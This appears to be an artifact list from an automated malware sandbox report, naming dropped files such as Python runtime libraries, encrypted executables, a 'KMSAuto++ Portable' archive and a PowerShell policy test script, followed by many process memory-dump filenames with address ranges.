VCRUNTIME140.dll
_bz2.pyd
base_library.zip
exe1.enc
exe2.enc
libcrypto-3.dll
libssl-3.dll
python3.dll
python314.dll
select.pyd
unicodedata.pyd
__PSScriptPolicyTest_bdd5rzgu.o5p.ps1
KMSAuto++ Portable v1.9.9 b09.zip
memory/384-3168-0x0000000140000000-0x000000014002B000-memory.dmp
memory/384-3173-0x00007FFBFD800000-0x00007FFBFD8BE000-memory.dmp
memory/384-3172-0x00007FFBFDED0000-0x00007FFBFE0C5000-memory.dmp
memory/384-3167-0x0000000140000000-0x000000014002B000-memory.dmp
memory/384-3166-0x0000000140000000-0x000000014002B000-memory.dmp
memory/384-3174-0x0000000140000000-0x000000014002B000-memory.dmp
memory/384-3171-0x0000000140000000-0x000000014002B000-memory.dmp
memory/384-3169-0x0000000140000000-0x000000014002B000-memory.dmp
memory/436-3201-0x00000214C9380000-0x00000214C93AB000-memory.dmp
memory/436-3202-0x00007FFBBDF50000-0x00007FFBBDF60000-memory.dmp
memory/464-54-0x0000000140000000-0x000000014000E000-memory.dmp
memory/464-58-0x0000000140000000-0x000000014000E000-memory.dmp
memory/464-57-0x0000000140000000-0x000000014000E000-memory.dmp
memory/464-56-0x0000000140000000-0x000000014000E000-memory.dmp
memory/464-55-0x0000000140000000-0x000000014000E000-memory.dmp
memory/464-61-0x0000000140000000-0x000000014000E000-memory.dmp
memory/620-3199-0x00007FFBBDF50000-0x00007FFBBDF60000-memory.dmp
memory/620-3197-0x00000200824E0000-0x000002008250B000-memory.dmp
memory/620-3177-0x00000200824B0000-0x00000200824D4000-memory.dmp
memory/676-3219-0x00000218C0A30000-0x00000218C0A5B000-memory.dmp
memory/676-3220-0x00007FFBBDF50000-0x00007FFBBDF60000-memory.dmp
memory/872-3249-0x00007FFBBDF50000-0x00007FFBBDF60000-memory.dmp
memory/872-3248-0x000001B0E6B50000-0x000001B0E6B7B000-memory.dmp
memory/880-3264-0x00000258A47C0000-0x00000258A47EB000-memory.dmp
memory/880-3266-0x00007FFBBDF50000-0x00007FFBBDF60000-memory.dmp
memory/1004-3252-0x00007FFBBDF50000-0x00007FFBBDF60000-memory.dmp
memory/1004-3251-0x00000197ECBE0000-0x00000197ECC0B000-memory.dmp
memory/1036-3274-0x00007FFBBDF50000-0x00007FFBBDF60000-memory.dmp
memory/1036-3272-0x0000013DDB7A0000-0x0000013DDB7CB000-memory.dmp
memory/1128-3273-0x00007FFBBDF50000-0x00007FFBBDF60000-memory.dmp
memory/1128-3271-0x00000265D7290000-0x00000265D72BB000-memory.dmp
memory/1152-3277-0x0000014EFE590000-0x0000014EFE5BB000-memory.dmp
memory/1152-3278-0x00007FFBBDF50000-0x00007FFBBDF60000-memory.dmp
memory/1192-3280-0x000002AE3DCB0000-0x000002AE3DCDB000-memory.dmp
memory/1192-3281-0x00007FFBBDF50000-0x00007FFBBDF60000-memory.dmp
memory/1212-3283-0x000002595CAC0000-0x000002595CAEB000-memory.dmp
memory/1212-3284-0x00007FFBBDF50000-0x00007FFBBDF60000-memory.dmp
memory/1308-3286-0x000001AF657A0000-0x000001AF657CB000-memory.dmp
memory/1692-3156-0x000001FBD8F30000-0x000001FBD8F3C000-memory.dmp
memory/3192-3233-0x00007FFBBDF50000-0x00007FFBBDF60000-memory.dmp
memory/3192-3232-0x000000000D4C0000-0x000000000D4EB000-memory.dmp
memory/3308-1796-0x00000000005B0000-0x0000000002F7A000-memory.dmp
memory/3308-2221-0x0000000003630000-0x000000000363C000-memory.dmp
memory/3308-2106-0x0000000026370000-0x0000000028C8E000-memory.dmp
memory/3308-2118-0x0000000003630000-0x000000000363C000-memory.dmp
memory/4024-53-0x0000025F80060000-0x0000025F8006C000-memory.dmp
memory/4024-42-0x0000025F98B20000-0x0000025F98B3C000-memory.dmp
memory/4024-44-0x0000025FFF760000-0x0000025FFF76A000-memory.dmp
memory/4024-47-0x0000025FFF800000-0x0000025FFF81A000-memory.dmp
memory/4024-45-0x0000025FFF7E0000-0x0000025FFF7FC000-memory.dmp
memory/4024-46-0x0000025FFF770000-0x0000025FFF77A000-memory.dmp
memory/4024-49-0x0000025F98D50000-0x0000025F98D56000-memory.dmp
memory/4024-43-0x0000025F98B40000-0x0000025F98BF5000-memory.dmp
memory/4024-50-0x0000025FFF7C0000-0x0000025FFF7CA000-memory.dmp
memory/4024-48-0x0000025F98D40000-0x0000025F98D48000-memory.dmp
memory/4376-24-0x0000015BB82A0000-0x0000015BB82AC000-memory.dmp
memory/4376-14-0x0000015BD21B0000-0x0000015BD21D2000-memory.dmp
memory/4608-12-0x0000000001090000-0x00000000010EF000-memory.dmp
memory/4992-13-0x0000000000970000-0x00000000009CF000-memory.dmp
memory/5144-2230-0x000001DE8EBF0000-0x000001DE8EBFC000-memory.dmp
memory/5784-3165-0x0000024AEBE30000-0x0000024AEBE3C000-memory.dmp
memory/6072-74-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6072-67-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6072-69-0x00000000014C0000-0x00000000014E0000-memory.dmp
memory/6072-1312-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6072-1313-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6072-64-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6072-73-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6072-72-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6072-62-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6072-65-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6072-66-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6072-63-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6072-70-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6072-71-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6072-68-0x0000000140000000-0x0000000140848000-memory.dmp
memory/6732-3541-0x0000022346CF0000-0x0000022346DA5000-memory.dmp